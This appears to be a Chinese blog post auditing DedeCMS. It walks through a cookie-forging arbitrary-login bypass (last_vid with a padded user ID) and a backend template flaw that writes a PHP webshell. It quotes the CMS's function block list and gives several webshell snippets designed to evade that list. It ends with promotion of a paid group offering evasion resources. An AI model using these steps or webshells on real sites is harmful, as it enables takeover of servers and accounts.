织梦CMS代码审计
2023-3-19 20:36:34 Author: 渗透安全团队(查看原文) 阅读量:11 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

织梦CMS源码获取地址https://www.dedecms.com/download,可以看官方手册用小皮部署环境

路由分析

拿到代码先看网站首页入口点index.php

<?php
/**
 * @version        $Id: index.php 1 9:23 2010-11-11 tianya $
 * @package        DedeCMS.Site
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
if(!file_exists(dirname(__FILE__).'/data/common.inc.php'))
{
    header('Location:install/index.php');
    exit();
}
//自动生成HTML版
if(isset($_GET['upcache']) || !file_exists('index.html'))  
{
    require_once (dirname(__FILE__) . "/include/common.inc.php");
    require_once DEDEINC."/arc.partview.class.php";
    $GLOBALS['_arclistEnv'] = 'index';
    $row = $dsql->GetOne("Select * From `#@__homepageset`");
    $row['templet'] = MfTemplet($row['templet']);
    $pv = new PartView();
    $pv->SetTemplet($cfg_basedir . $cfg_templets_dir . "/" . $row['templet']);
    $row['showmod'] = isset($row['showmod'])? $row['showmod'] : 0;
    if ($row['showmod'] == 1)
    {
        $pv->SaveToHtml(dirname(__FILE__).'/index.html');
        include(dirname(__FILE__).'/index.html');
        exit();
    } else { 
        $pv->Display();
        exit();
    }
}
else
{
    header('HTTP/1.1 301 Moved Permanently');
    header('Location:index.html');
}
?>

可以看到先对路径下是否存在/data/common.inc.php进行判断,如果不存在先跳转到安装流程;接着在没有登录缓存和自定义首页的情况下系统会进行数据库查询和获取模板等等进行前端渲染生成HTML;这些重要方法和配置引入都来自/include/common.inc.php

例如对不同模块路径的划分方便应用去调用

规定文件存放路径

以及导入数据库类和确立MVC框架的使用

再看DedeCMS下前台的会员系统和后台的登录系统的入口点

<?php
/**
 * @version        $Id: index.php 1 8:24 2010年7月9日Z tianya $
 * @package        DedeCMS.Member
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once(dirname(__FILE__)."/config.php");
$uid=empty($uid)? "" : RemoveXSS($uid); 
if(empty($action)) $action = '';
if(empty($aid)) $aid = '';
$menutype = 'mydede';
if ( preg_match("#PHP (.*) Development Server#",$_SERVER['SERVER_SOFTWARE']) )
{
    if ( $_SERVER['REQUEST_URI'] == dirname($_SERVER['SCRIPT_NAME']) )
    {
        header('HTTP/1.1 301 Moved Permanently');
        header('Location:'.$_SERVER['REQUEST_URI'].'/');
    }
}
......
<?php
/**
 * 管理后台首页
 *
 * @version        $Id: index.php 1 11:06 2010年7月13日Z tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
if ( preg_match("#PHP (.*) Development Server#",$_SERVER['SERVER_SOFTWARE']) )
{
    if ( $_SERVER['REQUEST_URI'] == dirname($_SERVER['SCRIPT_NAME']) )
    {
        header('HTTP/1.1 301 Moved Permanently');
        header('Location:'.$_SERVER['REQUEST_URI'].'/');
    }
}
 
require_once(dirname(__FILE__)."/config.php");
require_once(DEDEINC.'/dedetag.class.php');
$defaultIcoFile = DEDEDATA.'/admin/quickmenu.txt';
$myIcoFile = DEDEDATA.'/admin/quickmenu-'.$cuserLogin->getUserID().'.txt';
if(!file_exists($myIcoFile)) $myIcoFile = $defaultIcoFile;
require(DEDEADMIN.'/inc/inc_menu_map.php');
include(DEDEADMIN.'/templets/index2.htm');
exit();

各自有导入模块下的config.php,而每个config.php又会导入前面说到的/include/common.inc.php

可以看出,各个模块功能的实现都要调用require_once来引⼊/data/common.inc.php⽂件,而两个登录系统还要加入各自的config.php

授权校验

尝试在没有登录授权的情况下直接访问会员模块http://192.168.72.128/member/buy.php  程序先跟踪进config.php

在config.php中构造一个方法对用户是否登录进行判断,调用方法前先生成一个MemberLogin对象

MemberLogin的构造方法在/include/memberlogin.class.php中

    function __construct($kptime = -1, $cache=FALSE)
    {
        global $dsql;
        if($kptime==-1){
            $this->M_KeepTime = 3600 * 24 * 7;
        }else{
            $this->M_KeepTime = $kptime;
        }
        $formcache = FALSE;
        $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
        $this->M_LoginTime = GetCookie("DedeLoginTime");
        $this->fields = array();
        $this->isAdmin = FALSE;
        if(empty($this->M_ID))
        {
            $this->ResetUser();
        }else{
            $this->M_ID = intval($this->M_ID);
            
            if ($cache)
            {
                $this->fields = GetCache($this->memberCache, $this->M_ID);
                if( empty($this->fields) )
                {
                    $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
                } else {
                    $formcache = TRUE;
                }
            } else {
                $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
            }
                
            if(is_array($this->fields)){
                #api{{
                if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
                {
                    if($data = uc_get_user($this->fields['userid']))
                    {
                        if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
                        {
                            $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
                            $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
                        }
                    }
                }
                #/aip}}
            
                //间隔一小时更新一次用户登录时间
                if(time() - $this->M_LoginTime > 3600)
                {
                    $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
                    PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
                }
                $this->M_LoginID = $this->fields['userid'];
                $this->M_MbType = $this->fields['mtype'];
                $this->M_Money = $this->fields['money'];
                $this->M_UserName = FormatUsername($this->fields['uname']);
                $this->M_Scores = $this->fields['scores'];
                $this->M_Face = $this->fields['face'];
                $this->M_Rank = $this->fields['rank'];
                $this->M_Spacesta = $this->fields['spacesta'];
                $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
                $scrow = $dsql->GetOne($sql);
                $this->fields['honor'] = $scrow['titles'];
                $this->M_Honor = $this->fields['honor'];
                if($this->fields['matt']==10) $this->isAdmin = TRUE;
                $this->M_UpTime = $this->fields['uptime'];
                $this->M_ExpTime = $this->fields['exptime'];
                $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
                if($this->M_Rank>10 && $this->M_UpTime>0){
                    $this->M_HasDay = $this->Judgemember();
                }
                if( !$formcache )
                {
                    SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
                }
            }else{
                $this->ResetUser();
            }
        }
    }

由于没有登录cookie中没有内容所以获取的ID都是为空

返回到上面的config.php会调用memberlogin.class.php中的IsLogin方法

如果这里这里返回FALSE那么下面的CheckRank方法就会进行重定向到login.php中

而在有授权情况下由$this->M_ID = $this->GetNum(GetCookie("DedeUserID")来到cookie校验,这里的加密key签名来自cookie,如果比较成功返回M_ID,其中$cfg_cookie_encode作为全局变量在程序安装时已经被写死

    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }

这里的intval是一个很有意思的地方后面会提到

接着调用数据库通过M_ID查询到更多信息

获取到的信息存储到fields中

由于M_ID>0, $myurl能正常被定义,页面也能正常访问

任意用户登录

适用于2021以下版本

通过上文的分析我们可以知道会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5用做签名,由于我们能控制key,因此原理上可以伪造任意用户登录

/member/index.php中会接收uid和action参数,会验证Cookie中的用户ID与uid(即用户名)并确定用户权限,当uid存在值时就会进入这个代码逻辑,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后执行PutCookie存储,因此控制了$uid也就控制了那个作为签名校验的md5值

if($action == '')
    {
        include_once(DEDEINC."/channelunit.func.php");
        $dpl = new DedeTemplate();
        $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
        //更新最近访客记录及站点统计记录
        $vtime = time();
        $last_vtime = GetCookie('last_vtime');
        $last_vid = GetCookie('last_vid');         <----
        if(empty($last_vtime))
        {
            $last_vtime = 0;
        }
        if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
        {
            if($last_vid!='')
            {
                $last_vids = explode(',',$last_vid);
                $i = 0;
                $last_vid = $uid;
                foreach($last_vids as $lsid)
                {
                    if($i>10)
                    {
                        break;
                    }
                    else if($lsid != $uid)
                    {
                        $i++;
                        $last_vid .= ','.$last_vid;
                    }
                }
            }
            else
            {
                $last_vid = $uid;     <----
            }
            PutCookie('last_vtime', $vtime, 3600*24, '/');   
            PutCookie('last_vid', $last_vid, 3600*24, '/');   <----

因此可以注册一名000001账户,将cookie中DedeUserID值改为last_vid的(000001),DedeUserID__ckMd5值改为last_vid__ckMd5如此一来就能绕过前面校验提到的getcookie检验,因此此时后端存储的校验key已经变成我们的uid和他的md5值

再次访问xxx/member/index.php

再通过intval函数获取变量的整数值

可以看到原本的字符串00001变成了int类型的1,此时对于M_ID来说已经完成身份替换

由于查询数据库是根据M_ID来进行的,所以下面返回的信息也变成admin的信息

最终实现越权成功

后台模板RCE

根据公开的资料漏洞点出现在后台目录下的templets_one_edit.php

$aid = isset($aid) && is_numeric($aid) ? $aid : 0;  //检测变量是否为合法的数字格式
if($dopost=="saveedit")   //判断是dopost变量是否为saveedit
{
    include_once(DEDEINC."/arc.sgpage.class.php");
    $uptime = time();
    $body = str_replace('&quot;', '\\"', $body);
    $filename = preg_replace("#^\/#", "", $nfilename);  
    //如果更改了文件名,删除旧文件
    if($oldfilename!=$filename)
    {
        $oldfilename = $cfg_basedir.$cfg_cmspath."/".$oldfilename;
        if(is_file($oldfilename))
        {
            unlink($oldfilename);
        }
    }
    if($likeidsel!=$oldlikeid )
    {
        $likeid = $likeidsel;
    }
    $inQuery = "
     UPDATE `#@__sgpage` SET
     title='$title',
     keywords='$keywords',
     description='$description',
     likeid='$likeid',
     ismake='$ismake',
     filename='$filename',
     template='$template',
     uptime='$uptime',
     body='$body'
     WHERE aid='$aid'; ";
    if(!$dsql->ExecuteNoneQuery($inQuery))
    {
        ShowMsg("更新页面数据时失败,请检查长相是否有问题!","-1");
        exit();
    }
    $sg = new sgpage($aid);
    $sg->SaveToHtml();
    ShowMsg("成功修改一个页面!", "templets_one.php");
    exit();
}

在核心/单页文档管理 填写内容如下

调试跟踪可以发现这里对填入的文件名只是进行了一个非常简单的替换,对于后缀根本没有进行检测因此可以轻松写入一个php在web的可访问路径下(生成在/a目录下)

最终会将模板内容注入到新的页面中(此时就是php文件)

 UPDATE `dede_sgpage` SET
     title='we',
     keywords='we',
     description='',
     likeid='default',
     ismake='0',
     filename='a/1.php',
     template='{style}/1.htm',
     uptime='1678332617',
     body='<p><br></p>'
     WHERE aid='2'; 

并返回正常页面

因此只需要保证我们自定义的模板能被正常调用就可以达到上传一个webshell的作用

这里需要注意的是我们新建的模板内容会经过文件管理器检测,也就是dede/tpl.php中

// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

很明显绝大多数的方法是名字直接被绑死过不了的,这相当于一个webshell沙箱了

当然网上许多师傅也分享了免杀的思路,比如魔术方法的使用

__FUNCTION__的利用,将webshell的名字改为base64编码后的内容
<?php

function assert2(){
substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();

__CLASS__的利用
<?php

class assert2{
static function demo(){
substr(__CLASS__,0,6)($_GET[1]);
}
}
assert2::demo();

_NAMESPACE__的利用
<?php

namespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);

或者异或加密,这个对于过上面绑死方法名还是很有用的,这里就直接用T00ls上师傅分享的异或免杀来构造eval和$_GET

之后再按照之前的步骤将模板注入到新的php中,实际效果如下


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247501103&idx=3&sn=d732e5875f5e81ca77f2a1dcd75dc308&chksm=c1763880f601b1963dadda198ab95901686238e32707dfc61afe94787f176f92b1f6dbdf52d0#rd
如有侵权请联系:admin#unsafe.sh